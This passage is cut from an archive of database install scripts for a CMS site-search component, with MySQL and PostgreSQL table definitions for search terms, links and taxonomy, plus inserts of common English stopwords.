--

CREATE TABLE IF NOT EXISTS `#__finder_terms` (
  `term_id` int unsigned NOT NULL AUTO_INCREMENT,
  `term` varchar(75) NOT NULL,
  `stem` varchar(75) NOT NULL,
  `common` tinyint unsigned NOT NULL DEFAULT 0,
  `phrase` tinyint unsigned NOT NULL DEFAULT 0,
  `weight` float unsigned NOT NULL DEFAULT 0,
  `soundex` varchar(75) NOT NULL,
  `links` int NOT NULL DEFAULT 0,
  `language` char(3) NOT NULL DEFAULT '',
  PRIMARY KEY (`term_id`),
  UNIQUE KEY `idx_term` (`term`),
  KEY `idx_term_phrase` (`term`,`phrase`),
  KEY `idx_stem_phrase` (`stem`,`phrase`),
  KEY `idx_soundex_phrase` (`soundex`,`phrase`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_terms_common`
--

CREATE TABLE IF NOT EXISTS `#__finder_terms_common` (
  `term` varchar(75) NOT NULL,
  `language` varchar(3) NOT NULL,
  KEY `idx_word_lang` (`term`,`language`),
  KEY `idx_lang` (`language`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `#__finder_terms_common`
--

REPLACE INTO `#__finder_terms_common` (`term`, `language`) VALUES
('a', 'en'),
('about', 'en'),
('after', 'en'),
('ago', 'en'),
('all', 'en'),
('am', 'en'),
('an', 'en'),
('and', 'en'),
('any', 'en'),
('are', 'en'),
('aren''t', 'en'),
('as', 'en'),
('at', 'en'),
('be', 'en'),
('but', 'en'),
('by', 'en'),
('for', 'en'),
('from', 'en'),
('get', 'en'),
('go', 'en'),
('how', 'en'),
('if', 'en'),
('in', 'en'),
('into', 'en'),
('is', 'en'),
('isn''t', 'en'),
('it', 'en'),
('its', 'en'),
('me', 'en'),
('more', 'en'),
('most', 'en'),
('must', 'en'),
('my', 'en'),
('new', 'en'),
('no', 'en'),
('none', 'en'),
('not', 'en'),
('nothing', 'en'),
('of', 'en'),
('off', 'en'),
('often', 'en'),
('old', 'en'),
('on', 'en'),
('onc', 'en'),
('once', 'en'),
('only', 'en'),
('or', 'en'),
('other', 'en'),
('our', 'en'),
('ours', 'en'),
('out', 'en'),
('over', 'en'),
('page', 'en'),
('she', 'en'),
('should', 'en'),
('small', 'en'),
('so', 'en'),
('some', 'en'),
('than', 'en'),
('thank', 'en'),
('that', 'en'),
('the', 'en'),
('their', 'en'),
('theirs', 'en'),
('them', 'en'),
('then', 'en'),
('there', 'en'),
('these', 'en'),
('they', 'en'),
('this', 'en'),
('those', 'en'),
('thus', 'en'),
('time', 'en'),
('times', 'en'),
('to', 'en'),
('too', 'en'),
('true', 'en'),
('under', 'en'),
('until', 'en'),
('up', 'en'),
('upon', 'en'),
('use', 'en'),
('user', 'en'),
('users', 'en'),
('version', 'en'),
('very', 'en'),
('via', 'en'),
('want', 'en'),
('was', 'en'),
('way', 'en'),
('were', 'en'),
('what', 'en'),
('when', 'en'),
('where', 'en'),
('which', 'en'),
('who', 'en'),
('whom', 'en'),
('whose', 'en'),
('why', 'en'),
('wide', 'en'),
('will', 'en'),
('with', 'en'),
('within', 'en'),
('without', 'en'),
('would', 'en'),
('yes', 'en'),
('yet', 'en'),
('you', 'en'),
('your', 'en'),
('yours', 'en');

--
-- Table structure for table `#__finder_tokens`
--

CREATE TABLE IF NOT EXISTS `#__finder_tokens` (
  `term` varchar(75) NOT NULL,
  `stem` varchar(75) NOT NULL,
  `common` tinyint unsigned NOT NULL DEFAULT 0,
  `phrase` tinyint unsigned NOT NULL DEFAULT 0,
  `weight` float unsigned NOT NULL DEFAULT 1,
  `context` tinyint unsigned NOT NULL DEFAULT 2,
  `language` char(3) NOT NULL DEFAULT '',
  KEY `idx_word` (`term`),
  KEY `idx_context` (`context`)
) ENGINE=MEMORY DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_tokens_aggregate`
--

CREATE TABLE IF NOT EXISTS `#__finder_tokens_aggregate` (
  `term_id` int unsigned NOT NULL,
  `map_suffix` char(1) NOT NULL,
  `term` varchar(75) NOT NULL,
  `stem` varchar(75) NOT NULL,
  `common` tinyint unsigned NOT NULL DEFAULT 0,
  `phrase` tinyint unsigned NOT NULL DEFAULT 0,
  `term_weight` float unsigned NOT NULL,
  `context` tinyint unsigned NOT NULL DEFAULT 2,
  `context_weight` float unsigned NOT NULL,
  `total_weight` float unsigned NOT NULL,
  `language` char(3) NOT NULL DEFAULT '',
  KEY `token` (`term`),
  KEY `keyword_id` (`term_id`)
) ENGINE=MEMORY DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;

--
-- Table structure for table `#__finder_types`
--

CREATE TABLE IF NOT EXISTS `#__finder_types` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `title` varchar(100) NOT NULL,
  `mime` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `title` (`title`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_general_ci;
com_finder/sql/install.postgresql.sql000060400000120756152455305310014053 0ustar00--
-- Table: #__finder_filters
--
CREATE TABLE "#__finder_filters" (
  "filter_id" serial NOT NULL,
  "title" character varying(255) NOT NULL,
  "alias" character varying(255) NOT NULL,
  "state" smallint DEFAULT 1 NOT NULL,
  "created" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "created_by" integer NOT NULL,
  "created_by_alias" character varying(255) NOT NULL,
  "modified" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "modified_by" integer DEFAULT 0 NOT NULL,
  "checked_out" integer DEFAULT 0 NOT NULL,
  "checked_out_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "map_count" integer DEFAULT 0 NOT NULL,
  "data" text NOT NULL,
  "params" text,
  PRIMARY KEY ("filter_id")
);

--
-- Table: #__finder_links
--
CREATE TABLE "#__finder_links" (
  "link_id" serial NOT NULL,
  "url" character varying(255) NOT NULL,
  "route" character varying(255) NOT NULL,
  "title" character varying(255) DEFAULT NULL,
  "description" character varying(255) DEFAULT NULL,
  "indexdate" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "md5sum" character varying(32) DEFAULT NULL,
  "published" smallint DEFAULT 1 NOT NULL,
  "state" integer DEFAULT 1,
  "access" integer DEFAULT 0,
  "language" character varying(8) NOT NULL,
  "publish_start_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "publish_end_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "start_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "end_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "list_price" numeric(8,2) DEFAULT 0 NOT NULL,
  "sale_price" numeric(8,2) DEFAULT 0 NOT NULL,
  "type_id" bigint NOT NULL,
  "object" bytea NOT NULL,
  PRIMARY KEY ("link_id")
);
CREATE INDEX "#__finder_links_idx_type" on "#__finder_links" ("type_id");
CREATE INDEX "#__finder_links_idx_title" on "#__finder_links" ("title");
CREATE INDEX "#__finder_links_idx_md5" on "#__finder_links" ("md5sum");
CREATE INDEX "#__finder_links_idx_url" on "#__finder_links" (url(75));
CREATE INDEX "#__finder_links_idx_published_list" on "#__finder_links" ("published", "state", "access", "publish_start_date", "publish_end_date", "list_price");
CREATE INDEX "#__finder_links_idx_published_sale" on "#__finder_links" ("published", "state", "access", "publish_start_date", "publish_end_date", "sale_price");

--
-- Table: #__finder_links_terms0
--
CREATE TABLE "#__finder_links_terms0" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms0_idx_term_weight" on "#__finder_links_terms0" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms0_idx_link_term_weight" on "#__finder_links_terms0" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_terms1
--
CREATE TABLE "#__finder_links_terms1" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms1_idx_term_weight" on "#__finder_links_terms1" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms1_idx_link_term_weight" on "#__finder_links_terms1" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_terms2
--
CREATE TABLE "#__finder_links_terms2" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms2_idx_term_weight" on "#__finder_links_terms2" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms2_idx_link_term_weight" on "#__finder_links_terms2" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_terms3
--
CREATE TABLE "#__finder_links_terms3" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms3_idx_term_weight" on "#__finder_links_terms3" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms3_idx_link_term_weight" on "#__finder_links_terms3" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_terms4
--
CREATE TABLE "#__finder_links_terms4" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms4_idx_term_weight" on "#__finder_links_terms4" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms4_idx_link_term_weight" on "#__finder_links_terms4" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_terms5
--
CREATE TABLE "#__finder_links_terms5" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms5_idx_term_weight" on "#__finder_links_terms5" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms5_idx_link_term_weight" on "#__finder_links_terms5" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_terms6
--
CREATE TABLE "#__finder_links_terms6" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms6_idx_term_weight" on "#__finder_links_terms6" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms6_idx_link_term_weight" on "#__finder_links_terms6" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_terms7
--
CREATE TABLE "#__finder_links_terms7" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms7_idx_term_weight" on "#__finder_links_terms7" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms7_idx_link_term_weight" on "#__finder_links_terms7" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_terms8
--
CREATE TABLE "#__finder_links_terms8" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms8_idx_term_weight" on "#__finder_links_terms8" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms8_idx_link_term_weight" on "#__finder_links_terms8" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_terms9
--
CREATE TABLE "#__finder_links_terms9" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_terms9_idx_term_weight" on "#__finder_links_terms9" ("term_id", "weight");
CREATE INDEX "#__finder_links_terms9_idx_link_term_weight" on "#__finder_links_terms9" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_termsa
--
CREATE TABLE "#__finder_links_termsa" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_termsa_idx_term_weight" on "#__finder_links_termsa" ("term_id", "weight");
CREATE INDEX "#__finder_links_termsa_idx_link_term_weight" on "#__finder_links_termsa" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_termsb
--
CREATE TABLE "#__finder_links_termsb" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_termsb_idx_term_weight" on "#__finder_links_termsb" ("term_id", "weight");
CREATE INDEX "#__finder_links_termsb_idx_link_term_weight" on "#__finder_links_termsb" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_termsc
--
CREATE TABLE "#__finder_links_termsc" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_termsc_idx_term_weight" on "#__finder_links_termsc" ("term_id", "weight");
CREATE INDEX "#__finder_links_termsc_idx_link_term_weight" on "#__finder_links_termsc" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_termsd
--
CREATE TABLE "#__finder_links_termsd" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_termsd_idx_term_weight" on "#__finder_links_termsd" ("term_id", "weight");
CREATE INDEX "#__finder_links_termsd_idx_link_term_weight" on "#__finder_links_termsd" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_termse
--
CREATE TABLE "#__finder_links_termse" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_termse_idx_term_weight" on "#__finder_links_termse" ("term_id", "weight");
CREATE INDEX "#__finder_links_termse_idx_link_term_weight" on "#__finder_links_termse" ("link_id", "term_id", "weight");

--
-- Table: #__finder_links_termsf
--
CREATE TABLE "#__finder_links_termsf" (
  "link_id" integer NOT NULL,
  "term_id" integer NOT NULL,
  "weight" numeric(8,2) NOT NULL,
  PRIMARY KEY ("link_id", "term_id")
);
CREATE INDEX "#__finder_links_termsf_idx_term_weight" on "#__finder_links_termsf" ("term_id", "weight");
CREATE INDEX "#__finder_links_termsf_idx_link_term_weight" on "#__finder_links_termsf" ("link_id", "term_id", "weight");

--
-- Table: #__finder_taxonomy
--
CREATE TABLE "#__finder_taxonomy" (
  "id" serial NOT NULL,
  "parent_id" integer DEFAULT 0 NOT NULL,
  "title" character varying(255) NOT NULL,
  "state" smallint DEFAULT 1 NOT NULL,
  "access" smallint DEFAULT 0 NOT NULL,
  "ordering" smallint DEFAULT 0 NOT NULL,
  PRIMARY KEY ("id")
);
CREATE INDEX "#__finder_taxonomy_parent_id" on "#__finder_taxonomy" ("parent_id");
CREATE INDEX "#__finder_taxonomy_state" on "#__finder_taxonomy" ("state");
CREATE INDEX "#__finder_taxonomy_ordering" on "#__finder_taxonomy" ("ordering");
CREATE INDEX "#__finder_taxonomy_access" on "#__finder_taxonomy" ("access");
CREATE INDEX "#__finder_taxonomy_idx_parent_published" on "#__finder_taxonomy" ("parent_id", "state", "access");

--
-- Dumping data for table #__finder_taxonomy
--
UPDATE "#__finder_taxonomy" SET ("id", "parent_id", "title", "state", "access", "ordering") = (1, 0, 'ROOT', 0, 0, 0) 
WHERE "id"=1;

INSERT INTO "#__finder_taxonomy" ("id", "parent_id", "title", "state", "access", "ordering") 
SELECT 1, 0, 'ROOT', 0, 0, 0 WHERE 1 NOT IN 
(SELECT 1 FROM "#__finder_taxonomy" WHERE "id"=1);



--
-- Table: #__finder_taxonomy_map
--
CREATE TABLE "#__finder_taxonomy_map" (
  "link_id" integer NOT NULL,
  "node_id" integer NOT NULL,
  PRIMARY KEY ("link_id", "node_id")
);
CREATE INDEX "#__finder_taxonomy_map_link_id" on "#__finder_taxonomy_map" ("link_id");
CREATE INDEX "#__finder_taxonomy_map_node_id" on "#__finder_taxonomy_map" ("node_id");

--
-- Table: #__finder_terms
--
CREATE TABLE "#__finder_terms" (
  "term_id" serial NOT NULL,
  "term" character varying(75) NOT NULL,
  "stem" character varying(75) NOT NULL,
  "common" smallint DEFAULT 0 NOT NULL,
  "phrase" smallint DEFAULT 0 NOT NULL,
  "weight" numeric(8,2) DEFAULT 0 NOT NULL,
  "soundex" character varying(75) NOT NULL,
  "links" integer DEFAULT 0 NOT NULL,
  PRIMARY KEY ("term_id"),
  CONSTRAINT "#__finder_terms_idx_term" UNIQUE ("term")
);
CREATE INDEX "#__finder_terms_idx_term_phrase" on "#__finder_terms" ("term", "phrase");
CREATE INDEX "#__finder_terms_idx_stem_phrase" on "#__finder_terms" ("stem", "phrase");
CREATE INDEX "#__finder_terms_idx_soundex_phrase" on "#__finder_terms" ("soundex", "phrase");

--
-- Table: #__finder_terms_common
--
CREATE TABLE "#__finder_terms_common" (
  "term" character varying(75) NOT NULL,
  "language" character varying(3) NOT NULL
);
CREATE INDEX "#__finder_terms_common_idx_word_lang" on "#__finder_terms_common" ("term", "language");
CREATE INDEX "#__finder_terms_common_idx_lang" on "#__finder_terms_common" ("language");


--
-- Dumping data for table `#__finder_terms_common`
--

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('a', 'en') WHERE "term"='a';

INSERT INTO "#__finder_terms_common" ("term", "language") 
SELECT 'a', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='a');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('about', 'en') WHERE "term"='about';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'about', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='about');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('after', 'en') WHERE "term"='after';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'after', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='after');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('ago', 'en') WHERE "term"='ago';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'ago', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='ago');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('all', 'en') WHERE "term"='all';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'all', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='all');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('am', 'en') WHERE "term"='am';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'am', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='am');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('an', 'en') WHERE "term"='an';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'an', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='an');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('and', 'en') WHERE "term"='and';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'and', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='and');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('any', 'en') WHERE "term"='any';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'any', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='any');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('are', 'en') WHERE "term"='are';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'are', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='are');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('aren''t', 'en') WHERE "term"='aren''t';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'aren''t', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='aren''t');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('as', 'en') WHERE "term"='as';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'as', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='as');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('at', 'en') WHERE "term"='at';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'at', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='at');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('be', 'en') WHERE "term"='be';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'be', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='be');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('but', 'en') WHERE "term"='but';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'but', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='but');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('by', 'en') WHERE "term"='by';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'by', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='by');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('for', 'en') WHERE "term"='for';

INSERT INTO "#__finder_terms_common" ("term", "language") SELECT 'for', 'en' WHERE 1 NOT IN 
(SELECT 1 FROM "#__finder_terms_common" WHERE "term"='for');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('from', 'en') WHERE "term"='from';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'from', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='from');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('get', 'en') WHERE "term"='get';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'get', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='get');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('go', 'en') WHERE "term"='go';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'go', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='go');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('how', 'en') WHERE "term"='how';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'how', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='how');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('if', 'en') WHERE "term"='if';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'if', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='if');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('in', 'en') WHERE "term"='in';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'in', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='in');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('into', 'en') WHERE "term"='into';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'into', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='into');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('is', 'en') WHERE "term"='is';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'is', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='is');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('isn''t', 'en') WHERE "term"='isn''t';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'isn''t', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='isn''t');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('it', 'en') WHERE "term"='it';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'it', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='it');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('its', 'en') WHERE "term"='its';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'its', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='its');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('me', 'en') WHERE "term"='me';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'me', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='me');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('more', 'en') WHERE "term"='more';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'more', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='more');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('most', 'en') WHERE "term"='most';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'most', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='most');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('must', 'en') WHERE "term"='must';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'must', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='must');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('my', 'en') WHERE "term"='my';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'my', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='my');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('new', 'en') WHERE "term"='new';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'new', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='new');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('no', 'en') WHERE "term"='no';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'no', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='no');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('none', 'en') WHERE "term"='none';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'none', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='none');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('not', 'en') WHERE "term"='not';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'not', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='not');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('nothing', 'en') WHERE "term"='nothing';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'nothing', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='nothing');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('of', 'en') WHERE "term"='of';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'of', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='of');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('off', 'en') WHERE "term"='off';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'off', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='off');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('often', 'en') WHERE "term"='often';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'often', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='often');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('old', 'en') WHERE "term"='old';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'old', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='old');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('on', 'en') WHERE "term"='on';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'on', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='on');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('onc', 'en') WHERE "term"='onc';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'onc', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='onc');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('once', 'en') WHERE "term"='once';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'once', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='once');

--
UPDATE "#__finder_terms_common" SET ("term", "language") = ('only', 'en') WHERE "term"='only';

INSERT INTO "#__finder_terms_common" ("term", "language")
SELECT 'only', 'en' WHERE 1 NOT IN (SELECT 1 FROM "#__finder_terms_common" WHERE "term"='only');

--
